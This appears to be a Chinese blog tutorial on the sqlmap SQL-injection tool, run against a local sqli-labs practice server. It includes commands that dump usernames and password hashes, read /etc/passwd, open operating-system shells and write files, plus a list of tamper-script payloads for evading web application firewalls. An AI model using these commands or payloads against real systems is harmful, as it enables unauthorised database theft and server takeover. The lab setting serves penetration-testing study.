Web安全攻防渗透测试实战指南之sqlmap工具使用


本文只用作学习研究,请勿非法使用!!!
本文只用作学习研究,请勿非法使用!!!
本文只用作学习研究,请勿非法使用!!!

sqlmap:

简单介绍:

sqlmap是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB

sqlmap支持的类型:

  • 基于布尔类型的盲注:
    • 可以根据返回页面判断条件真假的注入
  • 基于时间的盲注:
    • 不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断
  • 基于报错注入:
    • 页面返回错误信息,或者把注入的语句的结果直接返回到页面中
  • 联合查询注入:
    • 可以使用union的情况下的注入
  • 堆查询注入:
    • 可以同时执行多条语句时的注入

SQLmap的强大功能包括数据库指纹指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。
当常规的注入工具不能利用SQL注入漏洞进行注入时,使用sqlmap会有意想不到的结果

安装sqlmap:

本次所讲为Windows安装,如果不想安装直接下载kali,kali自带sqlmap

  1. sqlmap安装需要python环境(不支持python3)
    1. 下载地址(如果打不开可能需要代理访问):https://www.python.org/downloads/

image.png
image.png
之后进行安装:
双击安装程序
image.png
image.png
image.png
安装过程会弹出窗口,点是即可
image.png
image.png

  1. 设置环境变量:

image.png
image.png
image.png
image.png
image.png
image.png
image.png
之后使用win+R打开CMD窗口进行验证:
image.png
输入python --version进行验证
image.png
python已安装成功

  1. 下载sqlmap(如果打不开可能需要代理访问):https://sqlmap.org/

image.png

  1. 安装sqlmap:
    1. 解压并把目录名字改为sqlmap:

image.png

  1. 创建快捷方式:

image.png
image.png
image.png
image.png
起始位置改为sqlmap安装目录:
image.png
之后双击快捷方式,输入python sqlmap.py --version
image.png
出现以上提示,说明sqlmap安装成功

sqlmap入门:

判断是否存在注入:

  • windows:python sqlmap.py -u http://192.168.137.11/sqli-labs/Less-1/?id=1
  • Kali:sqlmap -u http://192.168.137.11/sqli-labs/Less-1/?id=1
  • 如果注入点后面的参数大于两个时,需要加引号:
    • sqlmap -u "http://192.168.137.11/sqli-labs/Less-1/?id=1&uid=2"

image.png
image.png
image.png
image.png

判断文本中的请求是否存在注入:

从文件中加载HTTP请求,sqlmap可以从一个文本文件中获取HTTP请求,这样就可以不设置其他参数(如cookie、POST数据等),txt文件中的内容为WEB数据包
image.png
框中的内容就是WEB数据包
把框中的内容复制出来,并创建一个1.txt文件:
image.png

  • sqlmap -r 1.txt -->-r参数可判断文本中的请求是否存在注入,可以在行数最后面加个*号,代表此位置注入

image.png

查询当前用户下的所有数据库:

  • sqlmap -u http://192.168.137.11/sqli-labs/Less-1/?id=1 --dbs
    • 如果当前用户有权限读取包含所有数据库列表信息的表,使用该命令就可以列出所有数据库

image.png
image.png

获取数据库中的表名:

  • sqlmap -u http://192.168.137.11/sqli-labs/Less-1/?id=1 -D security --tables
    • 查询security数据库的表
  • sqlmap -u http://192.168.137.11/sqli-labs/Less-1/?id=1 --tables
    • 查询所有数据库的表

image.png
image.png

获取表中的字段名:

  • sqlmap -u http://192.168.137.11/sqli-labs/Less-1/?id=1 -D security -T users --columns
    • 查询security数据库的users表的字段名

image.png
image.png

获取字段内容:

  • sqlmap -u http://192.168.137.11/sqli-labs/Less-1/?id=1 -D security -T users -C username,password --dump
    • 查询security数据库的users表的username字段和password字段

image.png
image.png

获取数据库的所有用户:

  • sqlmap -u http://192.168.137.11/sqli-labs/Less-1/?id=1 --users
    • 列出数据库的所有用户,在当前用户有权限读取包含所有用户的表的权限时,使用该命令可以列出所有管理用户

image.png
image.png

获取数据库用户的密码:

  • sqlmap -u http://192.168.137.11/sqli-labs/Less-1/?id=1 --password
    • 列出数据库用户的密码。如果当前用户有读取包含用户密码的权限,sqlmap会先列举出用户,然后列出Hash,并尝试破解

image.png
image.png
image.png
image.png
image.png
image.png
由于比较慢,这里知道方法就可以了
可以看到上图中密码是加密的,可以在www.cmd5.com中自行解密

获取当前网站数据库的名称:

  • sqlmap -u http://192.168.137.11/sqli-labs/Less-1/?id=1 --current-db
    • 列出当前网站使用的数据库

image.png
image.png

获取当前网站数据库的用户名称:

  • sqlmap -u http://192.168.137.11/sqli-labs/Less-1/?id=1 --current-user
    • 列出当前网站使用的数据库用户

image.png
image.png

SQLmap进阶:参数讲解

–level 5:探测等级

  • level 5指需要执行的测试等级,一共有5个等级(1-5),如果不加–level参数,默认为1
  • sqlmap使用的payload可以在xml/payloads.xml中看到,也可以根据相应的格式添加自己的payload,其中5级包含的payload最多,会自动破解出cookie、XFF等头部注入。level 5级别速度最慢
  • level 5参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试
  • 在不确定哪个payload或参数为注入点时,为了保证全面性,建议使用高的level值

–is-dba:当前用户是否为管理权限

  • sqlmap -u http://192.168.137.11/sqli-labs/Less-1/?id=1 --is-dba
    • 查看当前账户是否为数据库管理员账户

image.png
image.png

–roles:列出数据库管理员角色

  • sqlmap -u http://192.168.137.11/sqli-labs/Less-1/?id=1 --roles
    • 查看数据库用户的角色。如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色
    • -U:指定想看哪个用户的角色。该命令仅适用于当前数据库是Oracle的时候

image.png
image.png

–referer:HTTPreferer头

  • sqlmap -u http://192.168.137.11/sqli-labs/Less-1/?id=1 --referer www.baidu.com
    • 在请求中伪造HTTP中的referer,当–level参数>=3时,会尝试对referer注入
    • 可以使用referer欺骗,如:–referer http://www.baidu.com

image.png
image.png
image.png
image.png
image.png
image.png
image.png

–sql-shell:运行自定义SQL语句:

  • sqlmap -u http://192.168.137.11/sqli-labs/Less-1/?id=1 --sql-shell
    • 执行指定的SQL语句

image.png
image.png

–os-cmd、–os-shell:运行任意操作系统命令:

  • 在数据库为MySQL、PostgreSQL或者Microsoft SQL Server,并且当前用户有权限使用特定的函数时,如果数据库为MySQL、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数sys_exec()和sys_eval(),那么创建的这两个函数就可以执行系统命令。在Microsoft SQL Server中,sqlmap将使用xp_cmdshell存储过程,如果被禁用(在Microsoft SQL Server 2005及以上版本默认被禁止),则sqlmap会重新启用它;如果不存在,会自动创建
  • –os-shell:可以模拟一个真实的shell,输入想执行的命令。当不能执行多语句时(比如PHP或ASP的后端数据库为MySQL),仍然可以使用INTO OUTFILE写进可写目录,创建一个web后门
  • –os-shell:支持ASP、ASP.NET、JSP和PHP四种语言(如果想执行改参数,需要有数据库管理员权限,–is-dba的值为True)
  • sqlmap -u http://192.168.137.11/sqli-labs/Less-1/?id=1 --os-cmd pwd

image.png
image.png
image.png
image.png
image.png
image.png
不知道为什么一直报超时,试过很多办法都不可以,延时、时间盲注、Windows系统都尝试过,都报404

  • sqlmap -u http://192.168.137.11/sqli-labs/Less-1/?id=1 --os-shell -->跟上述情况一样,超时,原因未知

–file-read:从数据库服务器中读取文件:

  • sqlmap -u http://192.168.137.11/sqli-labs/Less-1/?id=1 --file-read "/etc/passwd"
    • 用于读取执行文件,当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件
    • 前提条件:
      • 当前SQL注入的用户必须为DBA权限(–is-dba为true) -->满足
      • 需要知道网站的绝对路径 -->满足
      • GPC为off,php主动转义功能为关闭(默认关闭) -->满足
      • my.ini文件中的这项配置secure_file_priv=“” 为空 -->不满足

修改secure_file_priv=“” 为空:
首先登录:http://192.168.137.11:8080/login
image.png
image.png
新增配置:"secure_file_pric= "
image.png
image.png
image.png
image.png

–file-write、–file-dest:上传文件到数据库服务器中

  • sqlmap -u http://192.168.137.11/sqli-labs/Less-1/?id=1 --file-write "/root/1.txt" --file-dest "/tmp/2.txt"
    • 用于写入本地文件到服务器中,当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,上传的文件可以是文本,也可以是二进制文件
    • 有的目录会不成功,因为没有权限,/tmp/目录一般都会成功,因为是临时目录

image.png
image.png
image.png
image.png

sqlmap自带绕过脚本tamper的讲解:

  • sqlmap在默认情况下除了使用CHAR()函数防止出现单引号,没有对注入的数据进行修改,还可以使用 --tamper参数对数据做修改来绕过WAF等设备,其中大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则
  • 命令:sqlmap -u 'URL' --tamper "模块名"
    • 模块路径:/usr/share/sqlmap/tamper

image.png
image.png

  • 一个最小的tamper脚本结构分三部分
    • priority:定义脚本的优先级,用于有多个tamper脚本的情况
    • dependencies:声明该脚本适用/不适用的范围,可以为空
    • tamper:绕过脚本,主要由dependencies和tamper两个函数构成
      • def tamper(payload, kwargs)函数接收payload和kwargs返回一个payload
      • 比如上图就是一个base64编码脚本,就是把payload进行base64编码
    • –identify-waf:可以对一些网站是否有安全防护(WAF/IDS/IPS)进行试探(1.6版本功能已废弃,1.4版本功能可以使用)

image.png
image.png

  • 升级sqlmap:sqlmap --update
  • 官方提供了53个绕过脚本:
    • apostrophemask.py:
      • 作用:将引号替换为UTF-8,用于过滤单引号
      • 使用脚本前的语句:1 AND ‘1’='1
      • 使用脚本后的语句:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871
    • base64encode.py:
      • 作用:替换为base64编码
      • 使用脚本前的语句:1’ AND SLEEP(5)#
      • 使用脚本后的语句:MScgQU5EIFNMRUVQKDUpIw==
    • multiplespaces.py:
      • 作用:围绕SQL关键字添加多个空格
      • 使用脚本前的语句:1 UNION SELECT foobar
      • 使用脚本后的语句:1   UNION   SELECT    foobar
    • space2plus.py:
      • 作用:用 + 号替换空格
      • 使用脚本前的语句:SELECT id FROM users
      • 使用脚本后的语句:SELECT+id+FROM+users
    • nonrecursivereplacement.py:(1.4和1.6版本未找到)
      • 作用:作为双重查询语句,用双重语句替代预定义的SQL关键字(适用于非常弱的自定义过滤器,例如将SELECT替换为空)
      • 使用脚本前的语句:1 UNION SELECT 2-
      • 使用脚本后的语句:1 UNIOUNIONN SELESELECTCT 2-
    • space2randomblank.py:
      • 作用:将空格替换为其他有效字符
      • 使用脚本前的语句:SELECT id FROM users
      • 使用脚本后的语句:SELECT%0Did%0CFROM%0Ausers
    • unionalltounion.py:
      • 作用:将UNION ALL SELECT替换为UNION SELECT
      • 使用脚本前的语句:-1 UNION ALL SELECT
      • 使用脚本后的语句:-1 UNION SELECT
    • securesphere.py:(1.4和1.6版本未找到)
      • 作用:追加特制的字符串
      • 使用脚本前的语句:1 AND 1 = 1
      • 使用脚本后的语句:1 AND 1 = 1 and’0having’=‘0having’
    • space2hash.py:
      • 作用:将空格替换为#号,并添加一个随机字符串和换行符
      • 使用脚本前的语句:1 AND 9227=9227
      • 使用脚本后的语句:1%23upgPydUzKpMX%0AAND%23RcDKhIr%0A9227=9227
    • space2mssqlblank.py:(mssql)
      • 作用:将空格替换为其他空符号
      • 使用脚本前的语句:SELECT id FROM users
      • 使用脚本后的语句:SELECT%0Did%0DFROM%04users
    • space2mssqlhash.py:(mssql)
      • 作用:将空格替换为#号,并添加一个换行符
      • 使用脚本前的语句:1 AND 9227=9227
      • 使用脚本后的语句:1%23%0AAND%23%0A9227=9227
    • between.py:
      • 作用:用NOT BETWEEN 0 AND替换大于号(>),用BETWEN AND替换等号(=)
      • 使用脚本前的语句:1 AND A > B–
      • 使用脚本后的语句:1 AND A NOT BETWEEN 0 AND B–
      • 使用脚本前的语句:1 AND A = B–
      • 使用脚本后的语句:1 AND A BETWEEN B AND B
    • percentage.py:
      • 作用:ASP允许在每个字符前面添加一个%号
      • 使用脚本前的语句:SELECT FIELD FROM TABLE
      • 使用脚本后的语句:%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
    • sp_password.py:
      • 作用:从DBMS日志的自动模糊处理的有效载荷中追加sp_password
      • 使用脚本前的语句:1 AND 9227=9227–
      • 使用脚本后的语句:1 AND 9227=9227-- sp_password
    • charencode.py:
      • 作用:对给定的Payload全部字符使用URL编码(不处理已经编码的字符)
      • 使用脚本前的语句:SELECT FIELD FROM%20TABLE
      • 使用脚本后的语句:%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45
    • randomcase.py:
      • 作用:随机大小写
      • 使用脚本前的语句:INSERT
      • 使用脚本后的语句:InsERt
    • charunicodeencode.py:
      • 作用:字符Unicode编码
      • 使用脚本前的语句:SELECT FIELD%20FROM TABLE
      • 使用脚本后的语句:%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045
    • space2comment.py:
      • 作用:将空格替换为/**/
      • 使用脚本前的语句:SELECT id FROM users
      • 使用脚本后的语句:SELECT/**/id/**/FROM/**/users
    • equaltolike.py:
      • 作用:将等号替换为like
      • 使用脚本前的语句:SELECT * FROM users WHERE id=1
      • 使用脚本后的语句:SELECT * FROM users WHERE id LIKE 1
    • greatest.py:
      • 作用:绕过对">"的过滤,用GREATEST替换大于号
      • 使用脚本前的语句:1 AND A > B
      • 使用脚本后的语句:1 AND GREATEST(A,B+1)=A
      • 测试通过的数据库类型和版本:
        • MySQL 4, 5.0 and 5.5
        • Oracle 10g
        • PostgreSQL 8.3, 8.4, 9.0
    • ifnull2ifisnull.py:
      • 作用:绕过对IFNULL的过滤,替换类似IFNULL(A,B)为IF(ISNULL(A),B,A)
      • 使用脚本前的语句:IFNULL(1, 2)
      • 使用脚本后的语句:IF(ISNULL(1),2,1)
      • 测试通过的数据库类型和版本:
        • MySQL 5.0和MySQL 5.5
    • modsecurityversioned.py:
      • 作用:过滤空格,使用MySQL内联注释的方式进行注入
      • 使用脚本前的语句:1 AND 2>1–
      • 使用脚本后的语句:1 /*!30963AND 2>1*/–
      • 测试通过的数据库类型和版本:
        • MySQL 5.0
    • space2mysqlblank.py:
      • 作用:将空格替换为其它空白符号(适用于MySQL)
      • 使用脚本前的语句:SELECT id FROM users
      • 使用脚本后的语句:SELECT%A0id%0CFROM%0Dusers
      • 测试通过的数据库类型和版本:
        • MySQL 5.1
    • modsecurityzeroversioned.py:
      • 作用:使用MySQL内联注释的方式(/!00000/)进行注入
      • 使用脚本前的语句:1 AND 2>1–
      • 使用脚本后的语句:1 /*!00000AND 2>1*/–
      • 测试通过的数据库类型和版本:
        • MySQL 5.0
    • space2mysqldash.py:
      • 作用:将空格替换为–,并添加一个换行符
      • 使用脚本前的语句:1 AND 9227=9227
      • 使用脚本后的语句:1–%0AAND–%0A9227=9227
    • bluecoat.py:
      • 作用:在SQL语句之后用有效的随机空白符替换空格符,随后用LIKE替换等于号
      • 使用脚本前的语句:SELECT id FROM users WHERE id = 1
      • 使用脚本后的语句:SELECT%09id FROM%09users WHERE%09id LIKE 1
      • 测试通过的数据库类型和版本:
        • MySQL5.1和SGOS
    • versionedkeywords.py:
      • 作用:注释绕过
      • 使用脚本前的语句:1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
      • 使用脚本后的语句:1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
    • halfversionedmorekeywords.py:
      • 作用:当数据库为MySQL时绕过防火墙,在每个关键字之前添加MySQL版本注释
      • 使用脚本前的语句:value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa
      • 使用脚本后的语句:value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND ‘QDWa’='QDWa
      • 测试通过的数据库类型和版本:
        • MySQL 4.0.18和MySQL 5.0.22
    • space2morehash.py:
      • 作用:将空格替换为#号,并添加一个随机字符串和换行符
      • 使用脚本前的语句:1 AND 9227=9227
      • 使用脚本后的语句:1%23RcDKhIr%0AAND%23upgPydUzKpMX%0A%23lgbaxYjWJ%0A9227=9227
      • 测试通过的数据库类型和版本:
        • MySQL 5.1.41
    • apostrophenullencode.py:
      • 作用:用非法双字节unicode字符替换单引号
      • 使用脚本前的语句:1 AND ‘1’='1
      • 使用脚本后的语句:1 AND %00%271%00%27=%00%271
    • appendnullbyte.py:
      • 作用:在有效负荷的结束位置加载零字节字符编码
      • 使用脚本前的语句:1 AND 1=1
      • 使用脚本后的语句:1 AND 1=1%00
    • chardoubleencode.py:
      • 作用:对给定的Payload全部字符使用双重URL编码(不处理已编码的字符)
      • 使用脚本前的语句:SELECT FIELD FROM%20TABLE
      • 使用脚本后的语句:%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545
    • unmagicquotes.py:
      • 作用:用一个多字节组合(%bf%27)和末尾通用注释也一起替换空格
      • 使用脚本前的语句:1’ AND 1=1
      • 使用脚本后的语句:1%bf%27-- -
    • randomcomments.py:
      • 作用:用/**/分割SQL关键字
      • 使用脚本前的语句:INSERT
      • 使用脚本后的语句:I/**/NS/**/ERT
    • 虽然SQLMAP自带的tamper可以做很多事情,但在实际环境中,往往比较复杂,可能会遇到很多情况,tamper不可能很全面地应对各种环境,所以建议掌握tamper的编写规则
  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值